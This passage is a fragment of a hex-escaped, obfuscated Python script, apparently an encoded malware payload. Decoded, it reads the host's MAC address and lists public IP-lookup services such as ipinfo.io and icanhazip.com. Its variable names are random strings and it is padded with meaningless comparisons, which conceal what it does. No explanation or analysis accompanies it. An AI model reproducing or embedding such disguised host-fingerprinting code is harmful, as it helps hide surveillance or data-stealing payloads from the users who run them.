x61\x6d\x65\x28\x5a\x52\x71\x49\x72\x79\x78\x78\x53\x79\x52\x7a\x70\x52\x41\x46\x46\x47\x6d\x76\x6c\x51\x51\x47\x4e\x6e\x4d\x72\x46\x73\x52\x7a\x45\x4f\x42\x44\x6a\x52\x71\x76\x46\x44\x42\x54\x70\x41\x52\x72\x77\x47\x45\x73\x46\x46\x79\x74\x78\x50\x7a\x53\x67\x68\x70\x51\x46\x6e\x71\x41\x46\x5a\x48\x52\x55\x4e\x50\x47\x7a\x42\x43\x71\x5a\x6b\x74\x47\x4f\x77\x74\x45\x76\x49\x49\x4c\x4b\x45\x53\x72\x55\x53\x79\x70\x41\x44\x58\x4f\x46\x77\x76\x4f\x45\x4f\x4a\x46\x4a\x53\x79\x70\x70\x76\x4a\x6f\x67\x5a\x48\x66\x6a\x72\x52\x29\x0a\x20\x20\x20\x20\x50\x71\x4f\x45\x64\x6d\x42\x52\x41\x49\x78\x48\x7a\x57\x67\x41\x6f\x48\x46\x4d\x49\x53\x71\x57\x7a\x4a\x51\x6c\x46\x42\x7a\x6f\x54\x52\x46\x52\x6d\x45\x6b\x72\x6a\x6f\x49\x48\x6d\x4a\x5a\x4a\x51\x6d\x6e\x4a\x47\x75\x4a\x43\x62\x4a\x79\x42\x47\x6c\x46\x41\x43\x47\x53\x52\x77\x42\x4a\x4f\x73\x67\x63\x47\x7a\x51\x47\x74\x4f\x46\x51\x75\x47\x53\x41\x52\x4e\x53\x72\x43\x4d\x75\x52\x44\x48\x4a\x77\x7a\x75\x48\x48\x44\x79\x71\x46\x47\x74\x4f\x42\x6c\x4f\x74\x48\x50\x5a\x76\x42\x41\x4e\x66\x43\x6b\x49\x48\x44\x20\x20\x20\x20\x20\x3d\x20\x75\x75\x69\x64\x2e\x67\x65\x74\x6e\x6f\x64\x65\x28\x29\x0a\x20\x20\x20\x20\x51\x52\x48\x51\x48\x49\x71\x49\x78\x55\x53\x72\x7a\x47\x45\x52\x56\x48\x44\x49\x45\x52\x69\x56\x77\x4a\x6f\x53\x72\x74\x7a\x41\x45\x6f\x77\x71\x48\x79\x79\x53\x48\x52\x74\x69\x47\x49\x42\x49\x55\x65\x76\x45\x4a\x6e\x7a\x75\x78\x52\x76\x76\x41\x49\x75\x76\x53\x48\x45\x78\x73\x42\x48\x54\x79\x4f\x47\x52\x55\x43\x50\x48\x66\x42\x45\x6f\x44\x4f\x52\x74\x4a\x75\x4a\x6e\x49\x58\x76\x79\x53\x68\x4a\x4e\x6f\x50\x4a\x41\x52\x73\x73\x79\x46\x53\x44\x6f\x6f\x70\x45\x76\x78\x78\x70\x70\x45\x6b\x47\x69\x41\x42\x49\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3d\x20\x27\x3a\x27\x2e\x6a\x6f\x69\x6e\x28\x28\x22\x25\x30\x31\x32\x58\x22\x20\x25\x20\x50\x71\x4f\x45\x64\x6d\x42\x52\x41\x49\x78\x48\x7a\x57\x67\x41\x6f\x48\x46\x4d\x49\x53\x71\x57\x7a\x4a\x51\x6c\x46\x42\x7a\x6f\x54\x52\x46\x52\x6d\x45\x6b\x72\x6a\x6f\x49\x48\x6d\x4a\x5a\x4a\x51\x6d\x6e\x4a\x47\x75\x4a\x43\x62\x4a\x79\x42\x47\x6c\x46\x41\x43\x47\x53\x52\x77\x42\x4a\x4f\x73\x67\x63\x47\x7a\x51\x47\x74\x4f\x46\x51\x75\x47\x53\x41\x52\x4e\x53\x72\x43\x4d\x75\x52\x44\x48\x4a\x77\x7a\x75\x48\x48\x44\x79\x71\x46\x47\x74\x4f\x42\x6c\x4f\x74\x48\x50\x5a\x76\x42\x41\x4e\x66\x43\x6b\x49\x48\x44\x29\x5b\x46\x76\x74\x42\x6f\x72\x4f\x42\x77\x6e\x69\x78\x73\x76\x75\x52\x50\x51\x52\x75\x78\x52\x42\x46\x42\x4a\x4e\x75\x66\x53\x51\x69\x41\x6e\x41\x4a\x56\x42\x46\x7a\x70\x4a\x44\x4e\x41\x44\x74\x6e\x6e\x78\x73\x77\x58\x49\x45\x53\x79\x6e\x75\x4a\x4d\x46\x7a\x51\x74\x75\x4a\x6e\x78\x43\x45\x49\x5a\x62\x7a\x74\x4a\x74\x77\x51\x6a\x46\x6e\x79\x45\x50\x41\x7a\x77\x52\x51\x46\x46\x6f\x7a\x70\x52\x67\x42\x77\x46\x4d\x48\x73\x75\x6a\x75\x44\x66\x7a\x73\x6d\x45\x45\x70\x43\x59\x79\x53\x75\x41\x77\x79\x51\x6d\x45\x4e\x3a\x46\x76\x74\x42\x6f\x72\x4f\x42\x77\x6e\x69\x78\x73\x76\x75\x52\x50\x51\x52\x75\x78\x52\x42\x46\x42\x4a\x4e\x75\x66\x53\x51\x69\x41\x6e\x41\x4a\x56\x42\x46\x7a\x70\x4a\x44\x4e\x41\x44\x74\x6e\x6e\x78\x73\x77\x58\x49\x45\x53\x79\x6e\x75\x4a\x4d\x46\x7a\x51\x74\x75\x4a\x6e\x78\x43\x45\x49\x5a\x62\x7a\x74\x4a\x74\x77\x51\x6a\x46\x6e\x79\x45\x50\x41\x7a\x77\x52\x51\x46\x46\x6f\x7a\x70\x52\x67\x42\x77\x46\x4d\x48\x73\x75\x6a\x75\x44\x66\x7a\x73\x6d\x45\x45\x70\x43\x59\x79\x53\x75\x41\x77\x79\x51\x6d\x45\x4e\x2b\x32\x5d\x20\x66\x6f\x72\x20\x46\x76\x74\x42\x6f\x72\x4f\x42\x77\x6e\x69\x78\x73\x76\x75\x52\x50\x51\x52\x75\x78\x52\x42\x46\x42\x4a\x4e\x75\x66\x53\x51\x69\x41\x6e\x41\x4a\x56\x42\x46\x7a\x70\x4a\x44\x4e\x41\x44\x74\x6e\x6e\x78\x73\x77\x58\x49\x45\x53\x79\x6e\x75\x4a\x4d\x46\x7a\x51\x74\x75\x4a\x6e\x78\x43\x45\x49\x5a\x62\x7a\x74\x4a\x74\x77\x51\x6a\x46\x6e\x79\x45\x50\x41\x7a\x77\x52\x51\x46\x46\x6f\x7a\x70\x52\x67\x42\x77\x46\x4d\x48\x73\x75\x6a\x75\x44\x66\x7a\x73\x6d\x45\x45\x70\x43\x59\x79\x53\x75\x41\x77\x79\x51\x6d\x45\x4e\x20\x69\x6e\x20\x72\x61\x6e\x67\x65\x28\x30\x2c\x20\x31\x32\x2c\x20\x32\x29\x29\x0a\x20\x20\x20\x20\x66\x4c\x42\x48\x76\x75\x53\x4e\x4a\x49\x7a\x48\x77\x75\x49\x46\x4d\x49\x74\x70\x52\x45\x42\x6d\x49\x55\x79\x7a\x66\x45\x53\x52\x42\x47\x4c\x6e\x45\x77\x63\x69\x53\x52\x78\x42\x47\x51\x43\x52\x72\x46\x75\x50\x42\x51\x55\x4f\x47\x4a\x46\x47\x73\x54\x71\x53\x48\x77\x78\x47\x6c\x70\x7a\x72\x48\x49\x75\x53\x61\x42\x6d\x77\x47\x50\x6b\x75\x44\x52\x42\x41\x54\x53\x41\x7a\x47\x46\x50\x56\x75\x67\x53\x73\x45\x75\x41\x77\x68\x51\x46\x72\x51\x45\x4d\x5a\x47\x7a\x51\x47\x4a\x4a\x71\x47\x57\x53\x6d\x53\x48\x73\x49\x20\x3d\x20\x5b\x20\x27\x69\x70\x69\x6e\x66\x6f\x2e\x69\x6f\x2f\x69\x70\x27\x2c\x20\x27\x69\x63\x61\x6e\x68\x61\x7a\x69\x70\x2e\x63\x6f\x6d\x27\x2c\x20\x27\x69\x64\x65\x6e\x74\x2e\x6d\x65\x27\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x69\x70\x65\x63\x68\x6f\x2e\x6e\x65\x74\x2f\x70\x6c\x61\x69\x6e\x27\x2c\x20\x27\x6d\x79\x65\x78\x74\x65\x72\x6e\x61\x6c\x69\x70\x2e\x63\x6f\x6d\x2f\x72\x61\x77\x27\x20\x5d\x0a\x20\x20\x20\x20\x7a\x43\x77\x44\x53\x5a\x77\x51\x51\x50\x4d\x6d\x52\x53\x49\x43\x50\x59\x6a\x6a\x46\x52\x52\x44\x79\x7a\x65\x52\x47\x75\x4a\x79\x53\x59\x4a\x42\x45\x77\x4c\x7a\x4d\x6e\x6b\x79\x77\x4e\x53\x52\x49\x45\x51\x76\x72\x62\x6d\x47\x45\x53\x49\x43\x41\x75\x41\x53\x49\x78\x6a\x41\x45\x50\x47\x77\x7a\x74\x4d\x67\x45\x47\x49\x44\x70\x45\x70\x6a\x76\x51\x4b\x41\x50\x50\x48\x7a\x48\x47\x78\x77\x4a\x59\x79\x6e\x49\x52\x53\x69\x64\x53\x74\x70\x47\x49\x55\x72\x42\x41\x4a\x47\x6f\x41\x76\x4d\x7a\x48\x50\x48\x64\x41\x4e\x20\x3d\x20\x27\x27\x0a\x0a\x20\x20\x20\x20\x77\x45\x77\x78\x45\x45\x42\x44\x48\x77\x4e\x50\x4e\x6f\x76\x47\x47\x67\x49\x47\x59\x48\x43\x51\x77\x75\x6d\x63\x6a\x52\x75\x67\x42\x78\x6e\x45\x42\x71\x6b\x4a\x52\x4a\x4f\x69\x6e\x50\x51\x47\x53\x54\x41\x48\x76\x43\x45\x48\x43\x69\x46\x4e\x72\x74\x70\x69\x4f\x52\x41\x70\x49\x68\x45\x79\x5a\x44\x73\x6f\x6d\x66\x6a\x78\x4e\x47\x51\x53\x79\x46\x72\x53\x44\x73\x50\x76\x49\x49\x56\x52\x43\x71\x73\x78\x49\x76\x77\x72\x4e\x53\x47\x47\x74\x77\x65\x74\x6d\x41\x74\x49\x42\x50\x44\x53\x77\x6d\x69\x70\x79\x76\x52\x20\x3d\x20\x27\x45\x6a\x4a\x71\x41\x76\x41\x47\x53\x53\x4c\x79\x41\x52\x79\x41\x6b\x74\x42\x44\x47\x46\x73\x41\x46\x78\x77\x65\x41\x77\x69\x47\x45\x65\x6a\x50\x78\x41\x46\x47\x7a\x78\x62\x55\x42\x52\x42\x47\x51\x6f\x74\x59\x4a\x41\x79\x52\x4a\x6e\x61\x79\x44\x43\x49\x51\x52\x78\x78\x46\x77\x50\x4b\x62\x45\x42\x56\x47\x79\x53\x46\x49\x50\x65\x47\x49\x63\x79\x49\x4e\x46\x50\x6a\x7a\x75\x73\x74\x4e\x62\x5a\x43\x45\x48\x42\x70\x73\x6c\x79\x43\x47\x71\x71\x44\x6f\x4d\x79\x52\x71\x42\x49\x4e\x41\x55\x78\x5a\x44\x47\x79\x6f\x27\x0a\x20\x20\x20\x20\x79\x4d\x6c\x45\x72\x50\x48\x41\x6f\x47\x7a\x77\x79\x49\x47\x75\x70\x61\x6c\x49\x48\x79\x77\x46\x43\x75\x49\x79\x42\x44\x77\x42\x52\x64\x6d\x45\x71\x45\x55\x7a\x4e\x6d\x76\x7a\x65\x4e\x4e\x47\x43\x44\x42\x41\x6c\x50\x4a\x7a\x49\x44\x47\x71\x45\x43\x52\x74\x79\x51\x55\x54\x51\x55\x6a\x6d\x49\x46\x6b\x77\x76\x53\x58\x73\x6f\x74\x6f\x42\x51\x75\x75\x53\x4b\x4a\x73\x53\x57\x4f\x4d\x51\x59\x54\x4a\x44\x77\x7a\x6b\x7a\x50\x51\x45\x45\x44\x46\x53\x74\x6f\x49\x6e\x44\x78\x72\x62\x52\x79\x41\x54\x4a\x51\x58\x51\x20\x3d\x20\x27\x44\x42\x46\x48\x4a\x68\x41\x50\x49\x46\x4a\x4a\x72\x49\x41\x58\x4a\x44\x70\x41\x58\x75\x49\x6e\x79\x79\x54\x47\x52\x50\x46\x71\x78\x6e\x79\x44\x74\x69\x53\x46\x4a\x72\x44\x47\x48\x78\x51\x42\x45\x51\x71\x42\x46\x7a\x65\x47\x68\x65\x48\x75\x44\x73\x78\x49\x77\x45\x47\x41\x65\x48\x4a\x47\x68\x49\x43\x66\x7a\x6c\x6d\x46\x43\x4a\x4a\x73\x77\x76\x77\x52\x48\x49\x7a\x54\x77\x53\x47\x69\x77\x70\x65\x71\x53\x6b\x53\x74\x6e\x43\x52\x42\x54\x46\x54\x42\x46\x72\x41\x46\x71\x4d\x41\x53\x4d\x75\x4f\x77\x6d\x49\x43\x27\x0a\x20\x20\x20\x20\x69\x66\x20\x77\x45\x77\x78\x45\x45\x42\x44\x48\x77\x4e\x50\x4e\x6f\x76\x47\x47\x67\x49\x47\x59\x48\x43\x51\x77\x75\x6d\x63\x6a\x52\x75\x67\x42\x78\x6e\x45\x42\x71\x6b\x4a\x52\x4a\x4f\x69\x6e\x50\x51\x47\x53\x54\x41\x48\x76\x43\x45\x48\x43\x69\x46\x4e\x72\x74\x70\x69\x4f\x52\x41\x70\x49\x68\x45\x79\x5a\x44\x73\x6f\x6d\x66\x6a\x78\x4e\x47\x51\x53\x79\x46\x72\x53\x44\x73\x50\x76\x49\x49\x56\x52\x43\x71\x73\x78\x49\x76\x77\x72\x4e\x53\x47\x47\x74\x77\x65\x74\x6d\x41\x74\x49\x42\x50\x44\x53\x77\x6d\x69\x70\x79\x76\x52\x20\x21\x3d\x20\x79\x4d\x6c\x45\x72\x50\x48\x41\x6f\x47\x7a\x77\x79\x49\x47\x75\x70\x61\x6c\x49\x48\x79\x77\x46\x43\x75\x49\x79\x42\x44\x77\x42\x52\x64\x6d\x45\x71\x45\x55\x7a\x4e\x6d\x76\x7a\x65\x4e\x4e\x47\x43\x44\x42\x41\x6c\x50\x4a\x7a\x49\x44\x47\x71\x45\x43\x52\x74\x79\x51\x55\x54\x51\x55\x6a\x6d\x49\x46\x6b\x77\x76\x53\x58\x73\x6f\x74\x6f\x42\x51\x75\x75\x53\x4b\x4a\x73\x53\x57\x4f\x4d\x51\x59\x54\x4a\x44\x77\x7a\x6b\x7a\x50\x51\x45\x45\x44\x46\x53\x74\x6f\x49\x6e\x44\x78\x72\x62\x52\x79\x41\x54\x4a\x51\x58\x51\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x77\x45\x77\x78\x45\x45\x42\x44\x48\x77\x4e\x50\x4e\x6f\x76\x47\x47\x67\x49\x47\x59\x48\x43\x51\x77\x75\x6d\x63\x6a\x52\x75\x67\x42\x78\x6e\x45\x42\x71\x6b\x4a\x52\x4a\x4f\x69\x6e\x50\x51\x47\x53\x54\x41\x48\x76\x43\x45\x48\x43\x69\x46\x4e\x72\x74\x70\x69\x4f\x52\x41\x70\x49\x68\x45\x79\x5a\x44\x73\x6f\x6d\x66\x6a\x78\x4e\x47\x51\x53\x79\x46\x72\x53\x44\x73\x50\x76\x49\x49\x56\x52\x43\x71\x73\x78\x49\x76\x77\x72\x4e\x53\x47\x47\x74\x77\x65\x74\x6d\x41\x74\x49\x42\x50\x44\x53\x77\x6d\x69\x70\x79\x76\x52\x20\x3d\x20\x27\x44\x42\x46\x48\x4a\x68\x41\x50\x49\x46\x4a\x4a\x72\x49\x41\x58\x4a\x44\x70\x41\x58\x75\x49\x6e\x79\x79\x54\x47\x52\x50\x46\x71\x78\x6e\x79\x44\x74\x69\x53\x46\x4a\x72\x44\x47\x48\x78\x51\x42\x45\x51\x71\x42\x46\x7a\x65\x47\x68\x65\x48\x75\x44\x73\x78\x49\x77\x45\x47\x41\x65\x48\x4a\x47\x68\x49\x43\x66\x7a\x6c\x6d\x46\x43\x4a\x4a\x73\x77\x76\x77\x52\x48\x49\x7a\x54\x77\x53\x47\x69\x77\x70\x65\x71\x53\x6b\x53\x74\x6e\x43\x52\x42\x54\x46\x54\x42\x46\x72\x41\x46\x71\x4d\x41\x53\x4d\x75\x4f\x77\x6d\x49\x43\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x79\x4d\x6c\x45\x72\x50\x48\x41\x6f\x47\x7a\x77\x79\x49\x47\x75\x70\x61\x6c\x49\x48\x79\x77\x46\x43\x75\x49\x79\x42\x44\x77\x42\x52\x64\x6d\x45\x71\x45\x55\x7a\x4e\x6d\x76\x7a\x65\x4e\x4e\x47\x43\x44\x42\x41\x6c\x50\x4a\x7a\x49\x44\x47\x71\x45\x43\x52\x74\x79\x51\x55\x54\x51\x55\x6a\x6d\x49\x46\x6b\x77\x76\x53\x58\x73\x6f\x74\x6f\x42\x51\x75\x75\x53\x4b\x4a\x73\x53\x57\x4f\x4d\x51\x59\x54\x4a\x44\x77\x7a\x6b\x7a\x50\x51\x45\x45\x44\x46\x53\x74\x6f\x49\x6e\x44\x78\x72\x62\x52\x79\x41\x54\x4a\x51\x58\x51\x20\x3d\x20\x77\x45\x77\x78\x45\x45\x42\x44\x48\x77\x4e\x50\x4e\x6f\x76\x47\x47\x67\x49\x47\x59\x48\x43\x51\x77\x75\x6d\x63\x6a\x52\x75\x67\x42\x78\x6e\x45\x42\x71\x6b\x4a\x52\x4a\x4f\x69\x6e\x50\x51\x47\x53\x54\x41\x48\x76\x43\x45\x48\x43\x69\x46\x4e\x72\x74\x70\x69\x4f\x52\x41\x70\x49\x68\x45\x79\x5a\x44\x73\x6f\x6d\x66\x6a\x78\x4e\x47\x51\x53\x79\x46\x72\x53\x44\x73\x50\x76\x49\x49\x56\x52\x43\x71\x73\x78\x49\x76\x77\x72\x4e\x53\x47\x47\x74\x77\x65\x74\x6d\x41\x74\x49\x42\x50\x44\x53\x77\x6d\x69\x70\x79\x76\x52\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x77\x45\x77\x78\x45\x45\x42\x44\x48\x77\x4e\x50\x4e\x6f\x76\x47\x47\x67\x49\x47\x59\x48\x43\x51\x77\x75\x6d\x63\x6a\x52\x75\x67\x42\x78\x6e\x45\x42\x71\x6b\x4a\x52\x4a\x4f\x69\x6e\x50\x51\x47\x53\x54\x41\x48\x76\x43\x45\x48\x43\x69\x46\x4e\x72\x74\x70\x69\x4f\x52\x41\x70\x49\x68\x45\x79\x5a\x44\x73\x6f\x6d\x66\x6a\x78\x4e\x47\x51\x53\x79\x46\x72\x53\x44\x73\x50\x76\x49\x49\x56\x52\x43\x71\x73\x78\x49\x76\x77\x72\x4e\x53\x47\x47\x74\x77\x65\x74\x6d\x41\x74\x49\x42\x50\x44\x53\x77\x6d\x69\x70\x79\x76\x52\x20\x3d\x20\x27\x45\x6a\x4a\x71\x41\x76\x41\x47\x53\x53\x4c\x79\x41\x52\x79\x41\x6b\x74\x42\x44\x47\x46\x73\x41\x46\x78\x77\x65\x41\x77\x69\x47\x45\x65\x6a\x50\x78\x41\x46\x47\x7a\x78\x62\x55\x42\x52\x42\x47\x51\x6f\x74\x59\x4a\x41\x79\x52\x4a\x6e\x61\x79\x44\x43\x49\x51\x52\x78\x78\x46\x77\x50\x4b\x62\x45\x42\x56\x47\x79\x53\x46\x49\x50\x65\x47\x49\x63\x79\x49\x4e\x46\x50\x6a\x7a\x75\x73\x74\x4e\x62\x5a\x43\x45\x48\x42\x70\x73\x6c\x79\x43\x47\x71\x71\x44\x6f\x4d\x79\x52\x71\x42\x49\x4e\x41\x55\x78\x5a\x44\x47\x79\x6f\x27\x0a\x20\x20\x20\x20\x66\x6f\x72\x20\x46\x49\x44\x6f\x4a\x50\x65\x50\x78\x50\x77\x44\x72\x72\x7a\x43\x73\x53\x4e\x48\x79\x46\x59\x73\x45\x44\x4c\x53\x5a\x48\x75\x71\x6c\x49\x46\x78\x70\x7a\x75\x71\x4f\x46\x5a\x49\x78\x41\x53\x78\x46\x71\x48\x70\x50\x42\x47\x52\x71\x52\x4a\x51\x4a\x70\x4e\x44\x74\x48\x76\x53\x53\x70\x66\x53\x50\x42\x48\x53\x57\x45\x69\x58\x44\x77\x6a\x48\x53\x46\x41\x52\x46\x66\x59\x49\x4a\x55\x78\x79\x6e\x4a\x69\x44\x72\x47\x51\x58\x6c\x68\x42\x78\x46\x41\x47\x53\x49\x57\x76\x4c\x4a\x7a\x47\x68\x77\x44\x41\x48\x51\x49\x7a\x20\x69\x6e\x20\x66\x4c\x42\x48\x76\x75\x53\x4e\x4a\x49\x7a\x48\x77\x75\x49\x46\x4d\x49\x74\x70\x52\x45\x42\x6d\x49\x55\x79\x7a\x66\x45\x53\x52\x42\x47\x4c\x6e\x45\x77\x63\x69\x53\x52\x78\x42\x47\x51\x43\x52\x72\x46\x75\x50\x42\x51\x55\x4f\x47\x4a\x46\x47\x73\x54\x71\x53\x48\x77\x78\x47\x6c\x70\x7a\x72\x48\x49\x75\x53\x61\x42\x6d\x77\x47\x50\x6b\x75\x44\x52\x42\x41\x54\x53\x41\x7a\x47\x46\x50\x56\x75\x67\x53\x73\x45\x75\x41\x77\x68\x51\x46\x72\x51\x45\x4d\x5a\x47\x7a\x51\x47\x4a\x4a\x71\x47\x57\x53\x6d\x53\x48\x73\x49\x3a\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x4e\x79\x5a\x4a\x46\x53\x6d\x45\x57\x50\x4a\x42\x4a\x72\x6f\x4a\x44\x4c\x7a\x41\x43\x50\x58\x58\x57\x43\x70\x47\x4c\x43\x53\x50\x4c\x42\x79\x79\x5a\x42\x63\x76\x47\x52\x77\x45\x49\x75\x74\x4a\x61\x43\x43\x65\x79\x45\x74\x7a\x50\x4d\x72\x41\x47\x4c\x45\x6b\x6f\x7a\x45\x66\x6f\x52\x44\x56\x77\x50\x44\x47\x4f\x77\x4f\x42\x74\x47\x52\x57\x79\x45\x49\x4a\x68\x6f\x4a\x44\x65\x4a\x55\x77\x4f\x4a\x48\x4a\x49\x48\x71\x56\x4a\x53\x77\x67\x43\x74\x71\x54\x77\x7a\x46\x43\x42\x74\x52\x49\x72\x45\x59\x79\x73\x6f\x48\x20\x3d\x20\x27\x44\x76\x49\x7a\x4d\x77\x73\x79\x42\x45\x52\x4c\x45\x43\x6d\x78\x78\x4a\x6f\x44\x52\x71\x46\x43\x65\x51\x68\x74\x43\x6c\x76\x78\x4a\x41\x52\x48\x6a\x4a\x6d\x72\x6f\x47\x69\x52\x6f\x44\x69\x77\x41\x6d\x61\x53\x43\x49\x6c\x4d\x51\x58\x4d\x76\x78\x49\x45\x79\x75\x45\x78\x4c\x6c\x75\x49\x54\x48\x70\x41\x78\x43\x49\x41\x6e\x47\x75\x4d\x52\x51\x49\x52\x53\x46\x79\x46\x46\x46\x46\x43\x7a\x44\x50\x76\x7a\x7a\x51\x4e\x52\x6a\x46\x78\x79\x41\x48\x6d\x65\x49\x43\x6d\x53\x51\x4c\x73\x6e\x63\x77\x43\x49\x70\x51\x77\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x4b\x47\x48\x45\x48\x6c\x44\x50\x54\x54\x44\x72\x41\x48\x49\x76\x76\x4e\x6e\x6f\x79\x52\x4c\x4e\x42\x44\x6b\x63\x53\x69\x51\x76\x46\x4a\x48\x77\x44\x71\x5a\x4a\x55\x68\x45\x76\x79\x45\x69\x74\x55\x4f\x4b\x42\x4c\x49\x41\x50\x53\x4f\x53\x6e\x78\x42\x53\x46\x4f\x51\x49\x71\x6e\x44\x48\x44\x6d\x6d\x42\x51\x6f\x46\x75\x78\x42\x76\x6e\x46\x73\x4a\x4a\x41\x6d\x6d\x48\x49\x51\x45\x4a\x6f\x49\x4d\x42\x46\x46\x73\x6a\x44\x72\x46\x53\x58\x71\x52\x77\x7a\x4a\x41\x51\x4c\x74\x41\x54\x6c\x50\x4a\x4d\x77\x4f\x42\x79\x20\x3d\x20\x27\x7a\x48\x41\x48\x42\x65\x43\x47\x7a\x4e\x41\x47\x50\x6e\x6f\x4a\x46\x75\x79\x41\x49\x52\x6e\x52\x6b\x71\x45\x77\x5a\x46\x42\x4f\x51\x47\x6d\x75\x6e\x43\x4e\x53\x75\x4a\x65\x45\x66\x52\x6d\x44\x53\x4d\x46\x43\x4f\x43\x4e\x47\x4a\x71\x56\x52\x6c\x75\x54\x51\x51\x49\x4d\x72\x50\x49\x51\x4b\x4a\x79\x6e\x44\x72\x45\x70\x68\x48\x44\x6b\x48\x43\x79\x51\x44\x67\x4a\x45\x57\x47\x70\x42\x76\x58\x4d\x47\x79\x66\x59\x45\x53\x7a\x4a\x4a\x50\x70\x46\x79\x43\x70\x6c\x71\x54\x52\x44\x4d\x51\x42\x46\x4a\x48\x42\x73\x77\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x75\x77\x50\x4c\x4a\x6e\x69\x74\x4a\x4a\x66\x6d\x48\x67\x51\x6f\x41\x45\x4a\x47\x4a\x75\x47\x7a\x53\x49\x6e\x4d\x45\x49\x6f\x41\x7a\x79\x50\x44\x77\x4c\x41\x76\x53\x4d\x41\x47\x48\x79\x4e\x7a\x65\x4f\x47\x49\x42\x46\x52\x71\x6f\x4e\x74\x75\x4a\x4e\x52\x6d\x6e\x46\x50\x7a\x4c\x46\x44\x48\x53\x48\x58\x56\x75\x47\x42\x79\x6a\x59\x53\x7a\x55\x72\x75\x75\x7a\x49\x6b\x74\x4a\x49\x67\x73\x41\x63\x7a\x68\x43\x52\x71\x7a\x47\x66\x52\x4a\x52\x78\x73\x74\x56\x44\x74\x68\x78\x46\x49\x6b\x62\x6e\x50\x48\x4e\x53\x20\x3d\x20\x27\x79\x61\x53\x4a\x4e\x6e\x47\x6c\x4d\x49\x51\x44\x41\x49\x42\x78\x72\x46\x6b\x56\x7a\x43\x55\x6c\x6e\x78\x45\x44\x4e\x6b\x6e\x43\x44\x6e\x55\x49\x76\x52\x43\x42\x78\x75\x77\x72\x44\x45\x41\x4a\x50\x50\x51\x4a\x53\x6d\x53\x48\x47\x43\x77\x45\x69\x44\x49\x53\x7a\x6a\x53\x7a\x78\x78\x71\x76\x49\x52\x4f\x4e\x78\x43\x4a\x73\x42\x49\x49\x78\x4e\x44\x70\x42\x43\x49\x4f\x6f\x46\x79\x7a\x72\x41\x68\x6b\x4e\x79\x43\x52\x74\x45\x79\x75\x77\x4f\x5a\x72\x41\x47\x76\x61\x47\x78\x4f\x75\x4a\x75\x41\x42\x4a\x4d\x56\x74\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x44\x4e\x76\x79\x4c\x45\x43\x4a\x78\x48\x7a\x6f\x7a\x57\x69\x4d\x77\x53\x51\x50\x47\x4e\x59\x51\x53\x72\x78\x69\x69\x45\x78\x41\x47\x53\x41\x52\x66\x74\x43\x4c\x4a\x61\x47\x58\x55\x4e\x6d\x77\x79\x47\x7a\x7a\x49\x73\x49\x4e\x56\x65\x50\x78\x73\x42\x6d\x43\x53\x49\x6c\x42\x45\x41\x7a\x49\x4a\x45\x43\x6a\x7a\x6e\x68\x44\x62\x42\x50\x7a\x4e\x46\x5a\x48\x73\x76\x50\x46\x75\x43\x45\x73\x45\x43\x78\x51\x52\x78\x74\x78\x78\x41\x41\x78\x46\x6d\x47\x46\x71\x52\x44\x49\x79\x68\x58\x43\x45\x49\x77\x41\x53\x45\x49\x20\x3d\x20\x27\x50\x4d\x4f\x57\x41\x78\x43\x4a\x7a\x69\x4a\x52\x47\x47\x72\x52\x49\x76\x66\x68\x44\x42\x48\x49\x52\x51\x58\x4a\x44\x47\x79\x6b\x6f\x51\x7a\x78\x41\x43\x43\x6d\x49\x42\x67\x42\x78\x50\x79\x71\x75\x74\x72\x6a\x45\x46\x78\x47\x70\x56\x49\x76\x78\x70\x43\x79\x72\x52\x71\x4a\x67\x79\x45\x4e\x7a\x53\x43\x79\x48\x4f\x47\x44\x76\x6f\x78\x44\x44\x43\x44\x76\x79\x45\x52\x48\x42\x6c\x50\x44\x44\x45\x4e\x55\x58\x47\x50\x77\x6e\x46\x70\x44\x44\x55\x76\x70\x41\x51\x48\x6c\x53\x46\x6a\x43\x44\x48\x53\x57\x72\x76\x50\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x4b\x47\x48\x45\x48\x6c\x44\x50\x54\x54\x44\x72\x41\x48\x49\x76\x76\x4e\x6e\x6f\x79\x52\x4c\x4e\x42\x44\x6b\x63\x53\x69\x51\x76\x46\x4a\x48\x77\x44\x71\x5a\x4a\x55\x68\x45\x76\x79\x45\x69\x74\x55\x4f\x4b\x42\x4c\x49\x41\x50\x53\x4f\x53\x6e\x78\x42\x53\x46\x4f\x51\x49\x71\x6e\x44\x48\x44\x6d\x6d\x42\x51\x6f\x46\x75\x78\x42\x76\x6e\x46\x73\x4a\x4a\x41\x6d\x6d\x48\x49\x51\x45\x4a\x6f\x49\x4d\x42\x46\x46\x73\x6a\x44\x72\x46\x53\x58\x71\x52\x77\x7a\x4a\x41\x51\x4c\x74\x41\x54\x6c\x50\x4a\x4d\x77\x4f\x42\x79\x20\x3d\x3d\x20\x4e\x79\x5a\x4a\x46\x53\x6d\x45\x57\x50\x4a\x42\x4a\x72\x6f\x4a\x44\x4c\x7a\x41\x43\x50\x58\x58\x57\x43\x70\x47\x4c\x43\x53\x50\x4c\x42\x79\x79\x5a\x42\x63\x76\x47\x52\x77\x45\x49\x75\x74\x4a\x61\x43\x43\x65\x79\x45\x74\x7a\x50\x4d\x72\x41\x47\x4c\x45\x6b\x6f\x7a\x45\x66\x6f\x52\x44\x56\x77\x50\x44\x47\x4f\x77\x4f\x42\x74\x47\x52\x57\x79\x45\x49\x4a\x68\x6f\x4a\x44\x65\x4a\x55\x77\x4f\x4a\x48\x4a\x49\x48\x71\x56\x4a\x53\x77\x67\x43\x74\x71\x54\x77\x7a\x46\x43\x42\x74\x52\x49\x72\x45\x59\x79\x73\x6f\x48\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x4e\x79\x5a\x4a\x46\x53\x6d\x45\x57\x50\x4a\x42\x4a\x72\x6f\x4a\x44\x4c\x7a\x41\x43\x50\x58\x58\x57\x43\x70\x47\x4c\x43\x53\x50\x4c\x42\x79\x79\x5a\x42\x63\x76\x47\x52\x77\x45\x49\x75\x74\x4a\x61\x43\x43\x65\x79\x45\x74\x7a\x50\x4d\x72\x41\